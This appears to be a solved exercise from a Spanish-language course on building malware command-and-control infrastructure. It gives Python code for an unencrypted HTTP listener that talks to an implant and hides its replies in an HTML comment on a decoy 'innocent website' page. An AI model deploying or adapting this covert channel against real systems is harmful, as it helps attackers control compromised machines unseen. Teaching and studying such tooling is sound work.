Canales de Comunicación - parte 1 HTTP no cifrado (resuelto)
class DummyAuthenticationHandler(Handler):
def __init__(self, handler: AuthHandler):
self._handler = handler
def handle_msg(self, msg: bytes, client_id: Optional[str] = None) -> bytes:
base_msg = json.loads(msg.decode('utf-8'))
if base_msg.get('client_msg') is not None:
return self._handler.handle_auth_msg(
b64decode(base_msg['client_msg']['payload']),
base_msg['client_msg']['client_id']
)
else:
raise RuntimeError('Unexpected message type')
class UnencryptedHttpListener(Listener):
def __init__(self, api_url: str, host: str, port: int):
handler = ApiHandler(api_url)
handler = DummyAuthenticationHandler(handler)
self._handler = handler
self._host = host
self._port = port
@classmethod
def new(cls, api_url: str, host: str, port: int, _sym_key: bytes) -> 'Listener':
return cls(api_url, host, port)
@classmethod
def type_name(cls) -> str:
return 'unenc-http'
def run(self):
# A implementar
app = Flask(__name__)
@app.route('/', methods=["POST"])
def root():
msg = b64decode(request.form['m'])
response_msg = self._handler.handle_msg(msg)
return """
<html>
<head><!--{}--></head>
<body>I'm a totally innocent website</body>
</html>
""".format(b64encode(response_msg).decode('utf-8'))
app.run(host=self._host, port=self._port)
AnteriorCanales de Comunicación - parte 1 HTTP no cifradoSiguienteCriptografía para la comunicación y autenticación con el implante
Última actualización